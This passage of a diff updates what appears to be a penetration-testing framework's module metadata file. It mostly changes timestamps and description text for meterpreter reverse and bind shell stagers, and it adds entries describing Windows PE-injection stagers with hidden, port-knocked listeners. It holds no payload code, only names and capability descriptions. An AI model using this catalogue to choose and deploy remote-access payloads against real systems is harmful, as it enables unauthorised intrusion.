"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/zarch/meterpreter_reverse_http",
@@ -154972,7 +156960,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/zarch/meterpreter_reverse_https",
@@ -155007,7 +156995,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/zarch/meterpreter_reverse_tcp",
@@ -155917,7 +157905,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/osx/x64/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "osx/x64/meterpreter_reverse_http",
@@ -155952,7 +157940,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/osx/x64/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "osx/x64/meterpreter_reverse_https",
@@ -155987,7 +157975,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/osx/x64/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "osx/x64/meterpreter_reverse_tcp",
@@ -156953,7 +158941,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-09-03 18:25:26 +0000",
"mod_time": "2020-09-04 15:43:55 +0000",
"path": "/modules/payloads/singles/php/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "php/meterpreter_reverse_tcp",
@@ -157075,7 +159063,7 @@
"author": [
"Spencer McIntyre"
],
"description": "Run a meterpreter server in Python (2.5-2.7 & 3.1-3.6). Listen for a connection",
"description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Listen for a connection",
"references": [
],
@@ -157085,7 +159073,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-04-21 16:06:36 +0000",
"mod_time": "2020-06-16 08:58:15 +0000",
"path": "/modules/payloads/stagers/python/bind_tcp.rb",
"is_install_path": true,
"ref_name": "python/meterpreter/bind_tcp",
@@ -157109,7 +159097,7 @@
"Spencer McIntyre",
"OJ Reeves"
],
"description": "Run a meterpreter server in Python (2.5-2.7 & 3.1-3.6). Listen for a connection with UUID Support",
"description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Listen for a connection with UUID Support",
"references": [
],
@@ -157119,7 +159107,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-04-21 16:06:36 +0000",
"mod_time": "2020-06-16 08:58:15 +0000",
"path": "/modules/payloads/stagers/python/bind_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "python/meterpreter/bind_tcp_uuid",
@@ -157142,7 +159130,7 @@
"author": [
"Spencer McIntyre"
],
"description": "Run a meterpreter server in Python (2.5-2.7 & 3.1-3.6). Tunnel communication over HTTP",
"description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Tunnel communication over HTTP",
"references": [
],
@@ -157152,7 +159140,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-04-21 16:06:36 +0000",
"mod_time": "2020-06-16 08:58:15 +0000",
"path": "/modules/payloads/stagers/python/reverse_http.rb",
"is_install_path": true,
"ref_name": "python/meterpreter/reverse_http",
@@ -157175,7 +159163,7 @@
"author": [
"Spencer McIntyre"
],
"description": "Run a meterpreter server in Python (2.5-2.7 & 3.1-3.6). Tunnel communication over HTTP using SSL",
"description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Tunnel communication over HTTP using SSL",
"references": [
],
@@ -157185,7 +159173,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-04-21 16:06:36 +0000",
"mod_time": "2020-06-16 08:58:15 +0000",
"path": "/modules/payloads/stagers/python/reverse_https.rb",
"is_install_path": true,
"ref_name": "python/meterpreter/reverse_https",
@@ -157208,7 +159196,7 @@
"author": [
"Spencer McIntyre"
],
"description": "Run a meterpreter server in Python (2.5-2.7 & 3.1-3.6). Connect back to the attacker",
"description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Connect back to the attacker",
"references": [
],
@@ -157218,7 +159206,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-04-21 16:06:36 +0000",
"mod_time": "2020-06-16 08:58:15 +0000",
"path": "/modules/payloads/stagers/python/reverse_tcp.rb",
"is_install_path": true,
"ref_name": "python/meterpreter/reverse_tcp",
@@ -157243,7 +159231,7 @@
"Ben Campbell <eat_meatballs@hotmail.co.uk>",
"RageLtMan"
],
"description": "Run a meterpreter server in Python (2.5-2.7 & 3.1-3.6). Reverse Python connect back stager using SSL",
"description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Reverse Python connect back stager using SSL",
"references": [
],
@@ -157253,7 +159241,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-04-21 16:06:36 +0000",
"mod_time": "2020-06-16 08:58:15 +0000",
"path": "/modules/payloads/stagers/python/reverse_tcp_ssl.rb",
"is_install_path": true,
"ref_name": "python/meterpreter/reverse_tcp_ssl",
@@ -157277,7 +159265,7 @@
"Spencer McIntyre",
"OJ Reeves"
],
"description": "Run a meterpreter server in Python (2.5-2.7 & 3.1-3.6). Connect back to the attacker with UUID Support",
"description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Connect back to the attacker with UUID Support",
"references": [
],
@@ -157287,7 +159275,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-04-21 16:06:36 +0000",
"mod_time": "2020-06-16 08:58:15 +0000",
"path": "/modules/payloads/stagers/python/reverse_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "python/meterpreter/reverse_tcp_uuid",
@@ -157320,7 +159308,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-04-21 16:06:36 +0000",
"mod_time": "2020-09-04 15:43:55 +0000",
"path": "/modules/payloads/singles/python/meterpreter_bind_tcp.rb",
"is_install_path": true,
"ref_name": "python/meterpreter_bind_tcp",
@@ -157353,7 +159341,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-04-21 16:06:36 +0000",
"mod_time": "2020-09-04 15:43:55 +0000",
"path": "/modules/payloads/singles/python/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "python/meterpreter_reverse_http",
@@ -157386,7 +159374,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-04-21 16:06:36 +0000",
"mod_time": "2020-09-04 15:43:55 +0000",
"path": "/modules/payloads/singles/python/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "python/meterpreter_reverse_https",
@@ -157419,7 +159407,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-04-21 16:06:36 +0000",
"mod_time": "2020-09-04 15:43:55 +0000",
"path": "/modules/payloads/singles/python/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "python/meterpreter_reverse_tcp",
@@ -158261,7 +160249,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_ipv6_tcp.rb",
"is_install_path": true,
"ref_name": "windows/dllinject/bind_ipv6_tcp",
@@ -158298,7 +160286,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/dllinject/bind_ipv6_tcp_uuid",
@@ -158333,7 +160321,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-27 19:24:51 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_named_pipe.rb",
"is_install_path": true,
"ref_name": "windows/dllinject/bind_named_pipe",
@@ -158404,7 +160392,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_tcp.rb",
"is_install_path": true,
"ref_name": "windows/dllinject/bind_tcp",
@@ -158442,7 +160430,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_tcp_rc4.rb",
"is_install_path": true,
"ref_name": "windows/dllinject/bind_tcp_rc4",
@@ -158478,7 +160466,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/dllinject/bind_tcp_uuid",
@@ -158585,7 +160573,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-12-08 06:24:02 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_http.rb",
"is_install_path": true,
"ref_name": "windows/dllinject/reverse_http",
@@ -158762,7 +160750,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-15 15:10:26 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp.rb",
"is_install_path": true,
"ref_name": "windows/dllinject/reverse_tcp",
@@ -158835,7 +160823,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_dns.rb",
"is_install_path": true,
"ref_name": "windows/dllinject/reverse_tcp_dns",
@@ -158873,7 +160861,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-15 15:10:26 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_rc4.rb",
"is_install_path": true,
"ref_name": "windows/dllinject/reverse_tcp_rc4",
@@ -158911,7 +160899,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb",
"is_install_path": true,
"ref_name": "windows/dllinject/reverse_tcp_rc4_dns",
@@ -158947,7 +160935,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-15 15:10:26 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/dllinject/reverse_tcp_uuid",
@@ -158983,7 +160971,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-11-21 13:53:33 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_winhttp.rb",
"is_install_path": true,
"ref_name": "windows/dllinject/reverse_winhttp",
@@ -159302,7 +161290,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_ipv6_tcp.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter/bind_ipv6_tcp",
@@ -159339,7 +161327,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter/bind_ipv6_tcp_uuid",
@@ -159376,7 +161364,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-27 19:24:51 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_named_pipe.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter/bind_named_pipe",
@@ -159450,7 +161438,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_tcp.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter/bind_tcp",
@@ -159489,7 +161477,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_tcp_rc4.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter/bind_tcp_rc4",
@@ -159526,7 +161514,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter/bind_tcp_uuid",
@@ -159638,7 +161626,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-12-08 06:24:02 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_http.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter/reverse_http",
@@ -159712,7 +161700,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-12-08 06:24:02 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_https.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter/reverse_https",
@@ -159824,7 +161812,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-08-15 18:10:44 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_named_pipe.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter/reverse_named_pipe",
@@ -159935,7 +161923,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-15 15:10:26 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter/reverse_tcp",
@@ -160010,7 +161998,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_dns.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter/reverse_tcp_dns",
@@ -160049,7 +162037,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-15 15:10:26 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_rc4.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter/reverse_tcp_rc4",
@@ -160088,7 +162076,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter/reverse_tcp_rc4_dns",
@@ -160125,7 +162113,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-15 15:10:26 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter/reverse_tcp_uuid",
@@ -160163,7 +162151,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-11-21 13:53:33 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_winhttp.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter/reverse_winhttp",
@@ -160201,7 +162189,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-11-21 13:53:33 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_winhttps.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter/reverse_winhttps",
@@ -160237,7 +162225,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-04-24 12:02:45 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter_bind_named_pipe",
@@ -160272,7 +162260,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-04-24 12:02:45 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/windows/meterpreter_bind_tcp.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter_bind_tcp",
@@ -160307,7 +162295,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-04-24 12:02:45 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/windows/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter_reverse_http",
@@ -160342,7 +162330,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-04-24 12:02:45 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/windows/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter_reverse_https",
@@ -160377,7 +162365,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-04-24 12:02:45 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter_reverse_ipv6_tcp",
@@ -160412,7 +162400,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-04-24 12:02:45 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter_reverse_tcp",
@@ -160588,7 +162576,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_ipv6_tcp.rb",
"is_install_path": true,
"ref_name": "windows/patchupdllinject/bind_ipv6_tcp",
@@ -160625,7 +162613,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/patchupdllinject/bind_ipv6_tcp_uuid",
@@ -160660,7 +162648,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-27 19:24:51 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_named_pipe.rb",
"is_install_path": true,
"ref_name": "windows/patchupdllinject/bind_named_pipe",
@@ -160731,7 +162719,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_tcp.rb",
"is_install_path": true,
"ref_name": "windows/patchupdllinject/bind_tcp",
@@ -160769,7 +162757,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_tcp_rc4.rb",
"is_install_path": true,
"ref_name": "windows/patchupdllinject/bind_tcp_rc4",
@@ -160805,7 +162793,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/patchupdllinject/bind_tcp_uuid",
@@ -160981,7 +162969,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-15 15:10:26 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp.rb",
"is_install_path": true,
"ref_name": "windows/patchupdllinject/reverse_tcp",
@@ -161054,7 +163042,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_dns.rb",
"is_install_path": true,
"ref_name": "windows/patchupdllinject/reverse_tcp_dns",
@@ -161092,7 +163080,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-15 15:10:26 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_rc4.rb",
"is_install_path": true,
"ref_name": "windows/patchupdllinject/reverse_tcp_rc4",
@@ -161130,7 +163118,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb",
"is_install_path": true,
"ref_name": "windows/patchupdllinject/reverse_tcp_rc4_dns",
@@ -161166,7 +163154,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-15 15:10:26 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/patchupdllinject/reverse_tcp_uuid",
@@ -161276,7 +163264,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_ipv6_tcp.rb",
"is_install_path": true,
"ref_name": "windows/patchupmeterpreter/bind_ipv6_tcp",
@@ -161313,7 +163301,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/patchupmeterpreter/bind_ipv6_tcp_uuid",
@@ -161348,7 +163336,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-27 19:24:51 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_named_pipe.rb",
"is_install_path": true,
"ref_name": "windows/patchupmeterpreter/bind_named_pipe",
@@ -161419,7 +163407,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_tcp.rb",
"is_install_path": true,
"ref_name": "windows/patchupmeterpreter/bind_tcp",
@@ -161457,7 +163445,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_tcp_rc4.rb",
"is_install_path": true,
"ref_name": "windows/patchupmeterpreter/bind_tcp_rc4",
@@ -161493,7 +163481,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/patchupmeterpreter/bind_tcp_uuid",
@@ -161669,7 +163657,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-15 15:10:26 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp.rb",
"is_install_path": true,
"ref_name": "windows/patchupmeterpreter/reverse_tcp",
@@ -161742,7 +163730,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_dns.rb",
"is_install_path": true,
"ref_name": "windows/patchupmeterpreter/reverse_tcp_dns",
@@ -161780,7 +163768,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-15 15:10:26 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_rc4.rb",
"is_install_path": true,
"ref_name": "windows/patchupmeterpreter/reverse_tcp_rc4",
@@ -161818,7 +163806,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb",
"is_install_path": true,
"ref_name": "windows/patchupmeterpreter/reverse_tcp_rc4_dns",
@@ -161854,7 +163842,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-15 15:10:26 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/patchupmeterpreter/reverse_tcp_uuid",
@@ -161865,6 +163853,722 @@
},
"needs_cleanup": false
},
"payload_windows/peinject/bind_hidden_ipknock_tcp": {
"name": "Windows Inject PE Files, Hidden Bind Ipknock TCP Stager",
"fullname": "payload/windows/peinject/bind_hidden_ipknock_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"Borja Merino <bmerinofe@gmail.com>"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for a connection. First, the port will need to be knocked from\n the IP defined in KHOST. This IP will work as an authentication method\n (you can spoof it with tools like hping). After that you could get your\n shellcode from any IP. The socket will appear as \"closed,\" thus helping to\n hide the shellcode",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"path": "/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb",
"is_install_path": true,
"ref_name": "windows/peinject/bind_hidden_ipknock_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/bind_hidden_tcp": {
"name": "Windows Inject PE Files, Hidden Bind TCP Stager",
"fullname": "payload/windows/peinject/bind_hidden_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"Borja Merino <bmerinofe@gmail.com>"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for a connection from a hidden port and spawn a command shell to the allowed host.",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"path": "/modules/payloads/stagers/windows/bind_hidden_tcp.rb",
